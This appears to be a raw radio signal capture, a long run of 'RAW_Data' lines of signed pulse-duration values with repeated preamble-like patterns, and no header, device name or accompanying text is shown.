67 -270 67 -128 65 -118 55 -82 104 -462 51 -776 91 -267 95 -322 63 -830 61 -154 93 -283 51 -112 63 -338 96 -225 57 -907 177 -52 138 -226 83 -367 53 -132 104 -168 65 -126 80 -98 71 -447 94 -54 51 -292 183 -168 114 -78 77 -365 67 -997 53 -311 88 -376 213 -520 121 -214 81 -191 75 -142 79 -159 69 -72 63 -347 53 -140 176 -88 59 -349 69 -56 51 -203 59 -108 53 -90 88 -204 79 -68 75 -203 59 -609 59 -124 77 -102 119 -1270 165 -106 95 -196 59 -353 136 -82 53 -181 65 -72 293 -188 137 -320 73 -60 139 -118 59 -254 53 -350 65 -246 117 -217 59 -213 59 -106 51 -216 67 -169 113 -265 53 -90 89 -398 71 -335 87 -504 89 -386 99 -104 83 -160 95 -152 57 -190 53 -317 143 -244 51 -60 63 -290 51 -286 110 -152 61 -272 134 -822 91 -782 150 -590 71 -416 81 -170 91 -76 57 -371 69 -123 83 -82 51 -115 125 -104 132 -126 108 -104 61 -72 71 -209 122 -294 82 -260 71 -260 53 -64 53 -172 75 -234 107 -131 61 -298 96 -112 53 -438 98 -251 79 -58 106 -214 51 -80 116 -98 59 -432 105 -256 63 -743 102 -220 119 -192 53 -155 117 -145 93 -228 61 -285 75 -179 59 -113 85 -103 51 -208 107 -1086 96 -184 71 -205 96 -200 53 -420 69 -395 57 -510 51 -84 63 -344 118 -166 83 -478 51 -114 51 -60 114 -95 172 -114 103 -591 71 -64 105 -313 99 -279 63 -214 78 -282 100 -80 59 -442 69 -117 106 -299 117 -106 51 -237 63 -56 69 -280 53 -144 71 -1165 143 -188 109 -108 68 -253 51 -54 51 -227 51 -1476 57 -294 63 -441 53 -355 51 -338 53 -439 71 -241 122 -246 87 -232 61 -310 59 -178 81 -360 133 -266 51 -351 133 -364 114 -1007 147 -391 95 -80 113 -703 53 -158 67 -317 121 -260 61 -108 55 -419 51 -598 72 -423 57 -156 123 -313 59 -149 75 -112 94 -112 85 -76 118 -198 73 -98 104 -333 115 -140 69 -587 59 -80 71 -197 87 -495 53 -204 -RAW_Data: 67 -94 61 -142 178 -205 126 -185 204 -194 206 -96 53 -625 79 -222 169 -89 59 -72 59 -116 112 -271 123 -633 160 -135 53 -608 78 -133 51 -169 114 -447 114 -76 81 -566 71 -124 75 -342 61 -485 113 -106 224 -266 117 -62 51 -189 85 -96 87 -591 128 -275 125 -196 53 -114 71 -132 561 -56 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 287 -326 53 -173 69 -457 113 -220 94 -287 79 -358 71 -505 59 -102 53 -72 53 -174 109 -138 83 -88 61 -72 181 -123 71 -60 57 -58 55 -70 77 -54 51 -178 115 -113 53 -566 59 -223 57 -231 59 -116 95 -453 53 -329 119 -209 71 -210 53 -425 80 -329 101 -226 89 -89 98 -195 87 -238 107 -326 51 -215 112 -114 -RAW_Data: 73 -92 97 -72 51 -699 71 -562 53 -66 53 -392 63 -169 88 -194 53 -90 53 -534 107 -72 53 -153 53 -108 124 -190 51 -155 51 -830 112 -162 71 -84 129 -88 96 -112 73 -172 63 -354 239 -192 106 -128 59 -148 87 -464 65 -110 87 -84 116 -168 168 -146 89 -274 71 -319 77 -517 113 -291 97 -165 51 -142 59 -271 63 -106 176 -54 59 -75 164 -510 71 -393 53 -323 53 -253 98 -108 57 -444 167 -190 503 -765 73 -140 85 -190 134 -153 79 -244 69 -356 61 -198 89 -198 89 -168 202 -2025 53 -124 53 -146 96 -104 59 -384 98 -90 112 -94 142 -559 156 -54 75 -222 69 -634 67 -640 81 -496 51 -459 69 -144 123 -108 69 -490 63 -172 63 -391 177 -644 75 -237 67 -399 71 -64 71 -133 189 -333 79 -100 96 -118 59 -78 184 -90 1337 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 127 -64 63 -128 127 -56 69 -126 63 -64 63 -62 63 -64 61 -64 63 -64 127 -64 63 -62 63 -62 63 -128 129 -64 61 -126 63 -64 61 -64 127 -128 63 -64 61 -62 63 -64 63 -64 127 -128 63 -62 63 -62 127 -128 127 -56 69 -126 129 -128 127 -118 63 -62 133 -64 63 -62 63 -62 63 -64 63 -128 127 -64 63 -62 61 -64 63 -64 61 -64 63 -64 63 -64 61 -128 129 -64 61 -62 63 -128 63 -62 127 -128 63 -64 61 -62 127 -128 65 -62 61 -64 127 -128 63 -62 63 -62 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 127 -64 61 -128 127 -64 61 -64 61 -64 63 -62 63 -64 63 -64 63 -128 63 -62 127 -128 127 -128 63 -54 69 -62 127 -64 63 -128 127 -128 63 -54 133 -128 63 -64 61 -62 63 -64 63 -64 127 -64 61 -128 127 -128 63 -62 125 -64 63 -64 61 -128 63 -64 61 -64 127 -64 63 -126 129 -56 69 -126 63 -64 61 -64 127 -128 63 -62 313 -76 61 -1147 53 -60 106 -251 71 -60 71 -764 82 -52 114 -362 51 -98 51 -52 89 -90 57 -431 150 -224 57 -180 65 -792 81 -488 80 -276 71 -347 63 -76 55 -106 81 -96 59 -166 83 -106 81 -120 110 -181 151 -111 106 -398 59 -74 -RAW_Data: 69 -796 96 -136 59 -838 95 -58 53 -558 57 -584 97 -594 61 -240 79 -166 53 -62 55 -72 53 -102 114 -262 71 -114 53 -389 71 -658 164 -738 51 -111 97 -259 77 -503 107 -136 76 -417 53 -192 81 -175 63 -526 77 -136 51 -424 61 -190 61 -238 89 -176 78 -52 57 -258 100 -68 87 -600 59 -214 102 -135 59 -139 71 -185 127 -151 53 -126 63 -154 61 -124 55 -100 67 -303 97 -156 55 -382 170 -417 103 -246 67 -277 53 -339 59 -247 250 -148 63 -84 81 -383 69 -631 69 -401 59 -118 53 -122 95 -64 63 -89 53 -169 125 -690 89 -439 71 -1032 83 -1208 77 -223 97 -76 61 -157 63 -126 53 -242 102 -122 105 -118 59 -68 59 -374 67 -82 83 -80 71 -180 88 -242 113 -346 75 -521 253 -126 63 -104 85 -88 59 -250 61 -304 63 -80 114 -368 69 -96 78 -146 89 -216 61 -286 87 -481 79 -108 101 -68 77 -76 94 -152 167 -622 84 -140 51 -212 59 -192 51 -202 59 -172 125 -151 93 -459 71 -122 89 -195 89 -224 111 -439 71 -126 135 -52 67 -68 172 -160 106 -168 111 -152 155 -56 165 -113 53 -311 59 -212 65 -101 63 -74 160 -253 154 -120 82 -150 291 -195 75 -86 132 -346 81 -138 84 -105 143 -62 273 -60 224 -267 96 -52 51 -217 105 -84 197 -493 130 -96 53 -64 61 -277 95 -120 59 -247 59 -82 59 -56 73 -86 87 -221 51 -78 55 -76 63 -251 59 -179 87 -249 198 -326 98 -95 131 -68 59 -124 89 -645 164 -86 91 -112 105 -60 105 -124 91 -209 53 -917 61 -481 104 -215 105 -52 61 -495 51 -1112 139 -62 53 -116 98 -512 70 -218 101 -249 53 -222 67 -1110 204 -182 69 -259 88 -548 104 -618 88 -126 104 -150 61 -377 144 -87 106 -215 81 -118 81 -400 53 -123 53 -84 110 -68 93 -246 116 -299 77 -186 65 -134 81 -141 133 -78 53 -272 51 -198 148 -225 157 -610 53 -198 61 -113 63 -187 53 -216 148 -299 51 -108 71 -292 96 -273 61 -54 98 -108 80 -172 65 -204 55 -445 99 -186 67 -92 137 -506 71 -166 92 -368 101 -223 106 -285 51 -478 61 -106 80 -203 69 -144 89 -66 237 -76 51 -88 110 -109 78 -72 196 -202 89 -269 97 -64 75 -150 217 -719 57 -295 76 -868 73 -68 51 -314 95 -424 107 -89 63 -769 71 -554 59 -290 55 -120 119 -106 61 -148 77 -492 61 -90 53 -146 59 -64 75 -224 51 -406 75 -373 123 -254 76 -571 77 -306 129 -774 97 -52 53 -98 51 -190 -RAW_Data: 63 -173 51 -172 67 -673 53 -325 131 -136 53 -776 51 -54 63 -98 144 -144 79 -416 85 -70 152 -512 93 -129 231 -62 103 -548 118 -105 65 -157 71 -191 51 -80 84 -417 67 -327 94 -1052 105 -172 53 -134 63 -637 57 -361 97 -96 59 -68 141 -54 134 -150 79 -64 107 -78 79 -194 75 -162 51 -184 129 -117 71 -107 53 -133 91 -92 53 -64 53 -62 205 -203 160 -235 142 -66 79 -151 67 -54 113 -92 53 -209 71 -54 156 -278 107 -214 79 -156 227 -307 73 -83 97 -94 82 -118 59 -76 105 -245 97 -120 160 -202 75 -272 71 -94 71 -58 81 -227 137 -159 107 -62 53 -184 162 -238 136 -160 77 -263 115 -64 57 -186 107 -151 132 -299 190 -60 89 -54 107 -258 223 -90 161 -64 61 -90 218 -70 51 -170 99 -108 130 -233 105 -62 77 -453 365 -186 99 -76 59 -126 65 -644 71 -264 61 -86 51 -829 81 -366 85 -106 77 -303 103 -351 73 -174 75 -270 59 -310 88 -352 77 -272 117 -781 89 -485 208 -343 87 -164 67 -68 77 -286 61 -256 92 -234 124 -509 124 -311 85 -120 73 -196 51 -239 97 -381 113 -486 61 -241 89 -542 65 -97 67 -156 57 -167 67 -304 117 -412 53 -320 79 -280 155 -249 135 -124 77 -709 177 -214 65 -623 51 -309 53 -585 129 -108 79 -118 115 -413 67 -56 83 -170 79 -154 148 -526 164 -241 57 -305 53 -98 53 -693 53 -278 75 -92 98 -136 61 -235 101 -244 53 -206 99 -304 51 -459 124 -133 133 -376 59 -733 57 -94 77 -276 159 -529 53 -1003 61 -298 51 -179 59 -119 125 -206 57 -97 71 -218 53 -226 83 -579 81 -370 97 -172 124 -590 69 -324 61 -178 61 -321 81 -122 51 -279 124 -212 61 -132 122 -560 53 -234 129 -645 77 -132 53 -252 81 -58 115 -94 61 -196 65 -54 67 -74 51 -380 89 -188 53 -452 69 -149 81 -76 81 -104 67 -678 51 -928 99 -645 67 -56 69 -58 61 -274 71 -272 61 -175 51 -94 179 -389 63 -480 53 -216 53 -267 51 -306 63 -106 51 -303 87 -102 59 -91 69 -118 77 -505 73 -981 67 -56 59 -545 194 -287 151 -104 689 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 -RAW_Data: 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 290 -68 110 -72 51 -177 100 -144 59 -850 75 -358 53 -159 71 -348 89 -64 77 -211 89 -80 167 -1063 165 -605 87 -685 53 -353 79 -136 61 -80 96 -320 77 -140 63 -146 106 -399 123 -302 100 -324 51 -76 51 -181 221 -54 129 -124 57 -117 53 -222 144 -74 75 -86 65 -132 61 -614 55 -124 89 -172 82 -107 53 -161 71 -209 77 -154 53 -220 88 -88 163 -367 84 -256 73 -422 83 -62 127 -134 63 -152 67 -121 119 -258 76 -316 73 -613 105 -224 51 -166 105 -60 51 -119 67 -96 51 -439 59 -595 71 -52 51 -60 61 -119 53 -224 85 -64 53 -206 57 -475 51 -66 107 -80 59 -286 71 -967 91 -124 53 -106 61 -78 51 -539 51 -88 61 -60 108 -239 138 -300 81 -126 83 -182 97 -189 61 -431 61 -252 61 -743 63 -161 53 -96 53 -642 103 -353 89 -70 132 -575 61 -777 75 -306 67 -54 207 -576 96 -382 71 -120 85 -258 61 -64 88 -72 99 -191 67 -325 67 -120 67 -242 73 -112 81 -128 65 -124 53 -76 61 -84 77 -249 88 -126 -RAW_Data: 73 -146 99 -238 137 -138 77 -255 53 -72 157 -291 139 -571 89 -786 78 -62 75 -1018 134 -116 51 -92 67 -68 85 -318 88 -162 63 -193 61 -130 61 -172 79 -906 133 -159 123 -265 1243 -64 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 127 -64 63 -126 129 -56 69 -126 63 -64 63 -62 63 -64 61 -64 63 -64 127 -64 63 -62 63 -62 63 -128 127 -64 63 -126 63 -64 61 -64 127 -128 63 -64 61 -62 63 -64 61 -64 127 -130 127 -128 125 -120 135 -56 69 -124 129 -128 127 -118 63 -62 133 -64 63 -62 63 -62 63 -64 63 -128 127 -64 63 -62 61 -64 63 -64 61 -64 63 -64 63 -62 63 -128 127 -64 63 -62 63 -128 63 -62 127 -128 63 -64 61 -62 127 -130 63 -62 61 -64 127 -128 63 -62 63 -62 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 127 -64 61 -128 127 -56 71 -62 61 -64 63 -62 63 -64 63 -64 61 -128 65 -62 127 -128 127 -128 63 -62 61 -62 127 -64 63 -128 127 -128 63 -62 125 -128 63 -64 61 -62 63 -64 63 -62 127 -66 61 -128 127 -128 63 -62 125 -64 63 -64 61 -128 63 -64 61 -64 127 -64 63 -126 63 -64 61 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 323 -66 61 -571 65 -148 83 -214 53 -64 53 -364 77 -305 59 -207 103 -167 113 -498 89 -170 61 -517 75 -561 107 -100 103 -185 67 -157 75 -335 63 -296 55 -204 88 -467 63 -215 88 -96 53 -353 57 -84 87 -122 75 -174 61 -102 81 -272 89 -191 81 -331 63 -304 142 -461 80 -62 59 -247 113 -159 61 -856 51 -248 55 -104 191 -273 133 -114 81 -297 53 -546 89 -204 83 -60 153 -1034 51 -276 59 -74 61 -296 146 -238 107 -375 59 -421 57 -669 73 -62 59 -216 64 -238 55 -72 83 -148 63 -467 202 -82 165 -508 61 -204 53 -236 79 -524 106 -116 85 -390 51 -90 105 -138 59 -134 106 -276 53 -54 171 -96 57 -234 53 -419 74 -186 53 -936 109 -365 51 -132 53 -554 92 -306 105 -68 119 -128 51 -186 59 -114 53 -503 65 -252 83 -147 104 -381 77 -436 67 -361 -RAW_Data: 63 -269 185 -215 111 -849 61 -495 187 -113 71 -905 170 -201 71 -90 64 -560 53 -54 124 -72 108 -116 65 -96 89 -144 88 -147 61 -327 284 -1014 53 -161 71 -641 89 -350 61 -350 63 -326 95 -203 151 -725 65 -252 53 -165 59 -198 73 -56 211 -62 319 -232 259 -106 234 -285 92 -108 93 -223 63 -144 93 -82 161 -92 260 -52 53 -106 71 -181 77 -192 194 -64 87 -112 119 -110 57 -138 273 -173 103 -103 75 -165 67 -131 93 -112 236 -98 187 -62 107 -251 152 -116 61 -143 192 -62 460 -64 139 -96 205 -52 200 -62 65 -135 77 -156 123 -91 233 -76 156 -106 182 -76 249 -68 361 -90 368 -74 83 -56 141 -62 73 -120 156 -80 71 -116 192 -75 174 -68 89 -225 113 -107 150 -82 65 -56 243 -108 53 -170 361 -285 95 -108 144 -144 239 -322 57 -70 75 -83 69 -232 53 -150 238 -54 53 -118 171 -70 53 -136 103 -68 280 -90 312 -442 53 -148 73 -135 258 -118 86 -183 59 -114 81 -78 89 -200 161 -1109 63 -429 96 -163 91 -202 92 -447 107 -74 59 -361 71 -54 61 -338 63 -134 120 -941 89 -174 57 -100 207 -481 75 -409 71 -885 95 -196 133 -238 53 -106 87 -503 69 -544 91 -82 71 -597 79 -79 138 -170 57 -108 55 -104 99 -100 67 -442 71 -170 116 -144 113 -648 77 -72 63 -638 51 -72 53 -644 74 -84 51 -629 93 -308 112 -97 51 -131 149 -78 59 -142 210 -196 67 -180 51 -127 65 -805 51 -614 65 -455 63 -205 102 -491 57 -56 69 -212 57 -327 83 -54 53 -120 53 -294 71 -256 69 -134 67 -409 89 -164 51 -943 128 -523 109 -86 71 -152 59 -141 111 -220 71 -772 61 -150 59 -84 53 -52 51 -78 99 -114 85 -90 138 -276 77 -649 91 -166 117 -80 89 -98 81 -128 118 -64 75 -93 79 -140 51 -348 53 -111 51 -462 59 -52 85 -54 113 -64 108 -160 186 -72 59 -320 59 -70 57 -284 88 -116 59 -64 53 -108 69 -68 61 -258 131 -86 53 -177 81 -448 63 -52 97 -90 103 -96 160 -60 91 -158 77 -70 147 -167 183 -180 75 -282 87 -702 165 -310 65 -176 61 -90 141 -54 100 -184 51 -111 59 -141 83 -344 69 -209 97 -241 128 -215 79 -190 71 -238 89 -172 77 -167 105 -116 220 -295 71 -120 91 -363 107 -140 53 -166 110 -290 53 -60 118 -132 81 -258 75 -142 97 -239 69 -213 53 -138 114 -205 59 -325 67 -60 119 -110 96 -82 53 -84 140 -259 99 -230 75 -211 57 -92 126 -62 -RAW_Data: 77 -126 150 -74 89 -530 73 -116 51 -577 71 -316 53 -106 79 -311 69 -176 53 -54 158 -108 53 -112 118 -245 53 -62 65 -60 53 -126 95 -158 61 -78 57 -281 71 -80 99 -72 79 -138 113 -101 103 -372 197 -378 106 -100 53 -149 99 -142 61 -92 99 -156 59 -115 69 -52 85 -209 51 -126 675 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 199 -222 59 -340 61 -315 97 -64 187 -72 53 -136 65 -424 120 -281 75 -245 59 -221 69 -52 63 -583 79 -173 81 -212 51 -428 79 -72 200 -169 75 -777 67 -313 53 -132 61 -397 73 -485 61 -92 67 -780 71 -153 115 -224 53 -111 79 -239 51 -714 73 -322 71 -339 144 -144 61 -301 119 -152 96 -419 51 -104 53 -436 -RAW_Data: 63 -62 69 -64 125 -130 63 -62 63 -62 127 -128 127 -56 69 -126 129 -64 61 -126 63 -64 63 -62 127 -64 63 -62 63 -128 127 -128 63 -62 125 -64 63 -62 63 -128 63 -64 125 -64 63 -128 63 -62 63 -62 127 -64 63 -62 63 -128 127 -64 297 -203 67 -78 65 -1018 63 -667 75 -416 71 -72 51 -62 111 -213 89 -128 51 -133 79 -144 59 -632 92 -268 101 -100 51 -146 87 -102 73 -172 51 -423 79 -144 113 -89 81 -60 65 -64 113 -782 120 -593 53 -153 94 -496 63 -76 69 -180 134 -192 81 -106 69 -318 121 -88 75 -88 51 -291 59 -251 63 -319 55 -202 104 -228 97 -162 53 -472 107 -134 86 -181 71 -259 97 -427 99 -159 53 -398 53 -201 76 -66 118 -88 119 -329 94 -76 59 -313 69 -172 63 -306 90 -313 53 -167 73 -159 53 -223 80 -260 178 -243 51 -104 53 -81 51 -580 90 -428 71 -128 53 -165 61 -304 63 -62 63 -393 53 -611 88 -72 83 -184 83 -292 88 -114 103 -141 61 -136 61 -435 85 -229 77 -144 126 -197 53 -143 73 -68 160 -76 51 -76 88 -88 105 -202 113 -499 116 -379 95 -945 53 -282 180 -620 61 -266 53 -160 51 -210 75 -76 61 -215 71 -455 65 -255 87 -389 240 -196 67 -270 69 -166 63 -232 51 -98 61 -1094 69 -89 69 -435 61 -164 118 -68 75 -226 135 -90 51 -200 84 -273 83 -534 67 -439 69 -60 127 -467 53 -143 69 -64 81 -83 59 -272 161 -245 108 -142 259 -257 111 -178 57 -246 118 -243 55 -142 125 -333 172 -316 95 -62 87 -132 103 -242 89 -247 106 -132 51 -78 69 -536 148 -195 102 -72 195 -88 79 -106 175 -113 115 -72 59 -125 53 -108 148 -158 264 -56 173 -92 138 -114 63 -98 118 -210 159 -173 170 -80 185 -179 71 -72 67 -60 51 -154 57 -73 116 -304 61 -60 67 -313 53 -248 146 -272 65 -215 57 -90 144 -206 147 -201 71 -130 100 -283 63 -82 78 -154 154 -286 51 -282 51 -117 53 -171 71 -679 79 -379 65 -301 71 -586 99 -142 77 -222 98 -186 63 -360 148 -77 145 -58 61 -72 63 -284 63 -80 79 -470 53 -177 135 -100 123 -140 71 -347 119 -322 59 -1240 137 -1272 61 -281 110 -656 82 -98 51 -128 63 -196 91 -248 61 -98 61 -150 111 -118 111 -188 55 -548 59 -96 86 -123 67 -148 83 -94 55 -329 95 -187 138 -591 79 -167 61 -318 102 -86 96 -70 91 -176 53 -463 53 -64 93 -60 127 -158 169 -238 86 -400 51 -126 71 -375 -RAW_Data: 53 -741 59 -711 91 -520 53 -116 188 -152 69 -169 69 -96 83 -488 69 -150 81 -535 63 -52 67 -68 53 -164 83 -183 67 -280 171 -203 140 -147 51 -234 174 -397 71 -156 113 -70 82 -136 63 -80 101 -144 51 -90 93 -205 51 -512 53 -160 85 -384 104 -234 53 -241 228 -515 59 -407 65 -484 78 -534 51 -141 139 -242 88 -189 79 -681 148 -78 99 -487 77 -70 79 -162 57 -386 142 -54 70 -122 64 -250 69 -307 53 -251 59 -213 79 -207 121 -223 89 -54 61 -412 59 -486 79 -254 59 -267 61 -196 61 -365 92 -102 57 -94 53 -189 61 -202 53 -72 71 -234 79 -80 125 -68 69 -286 165 -70 77 -347 188 -70 77 -96 61 -305 306 -76 88 -204 59 -137 51 -74 81 -125 71 -190 53 -498 91 -120 93 -253 105 -78 67 -83 176 -369 109 -118 79 -121 79 -305 124 -52 96 -54 81 -104 79 -54 86 -181 65 -86 51 -237 81 -244 51 -292 67 -92 63 -205 105 -273 153 -364 51 -190 51 -165 186 -84 57 -168 69 -130 55 -82 227 -78 83 -52 89 -62 76 -150 178 -82 99 -126 71 -98 53 -385 81 -60 59 -108 89 -82 57 -488 117 -90 79 -60 53 -70 97 -269 63 -187 71 -208 91 -80 105 -856 97 -376 71 -84 75 -131 104 -393 204 -709 51 -209 53 -150 65 -130 71 -90 63 -116 67 -270 71 -306 59 -167 67 -66 73 -144 53 -228 51 -60 166 -209 89 -310 53 -388 89 -500 126 -79 63 -198 89 -211 57 -54 117 -244 61 -185 126 -136 67 -54 61 -337 61 -60 93 -184 55 -74 65 -128 51 -678 53 -234 53 -116 69 -253 97 -308 94 -146 81 -392 81 -702 81 -157 59 -138 86 -142 89 -89 89 -265 55 -626 81 -126 75 -164 84 -1415 214 -453 53 -205 67 -98 63 -72 63 -54 271 -102 51 -54 73 -202 75 -382 87 -263 189 -920 57 -192 88 -70 53 -196 83 -104 63 -92 51 -187 114 -571 69 -208 143 -114 67 -187 114 -283 138 -163 117 -80 51 -319 99 -249 83 -84 106 -106 65 -240 65 -906 51 -90 67 -235 85 -154 53 -136 135 -98 87 -225 88 -209 61 -62 142 -422 53 -198 53 -420 53 -387 151 -142 71 -276 93 -281 71 -162 106 -300 77 -473 103 -244 140 -235 178 -401 88 -178 51 -183 57 -201 88 -123 77 -437 71 -74 108 -172 131 -272 117 -859 74 -545 61 -874 59 -52 65 -62 71 -54 151 -92 63 -242 696 -56 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 -RAW_Data: 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 201 -186 89 -90 61 -282 85 -409 51 -357 73 -210 81 -435 63 -452 125 -143 63 -160 59 -52 59 -503 77 -54 53 -169 53 -870 118 -304 113 -52 68 -553 117 -104 129 -180 63 -218 91 -96 59 -241 53 -234 99 -94 63 -62 71 -172 69 -369 85 -530 67 -1400 71 -118 111 -74 61 -606 61 -438 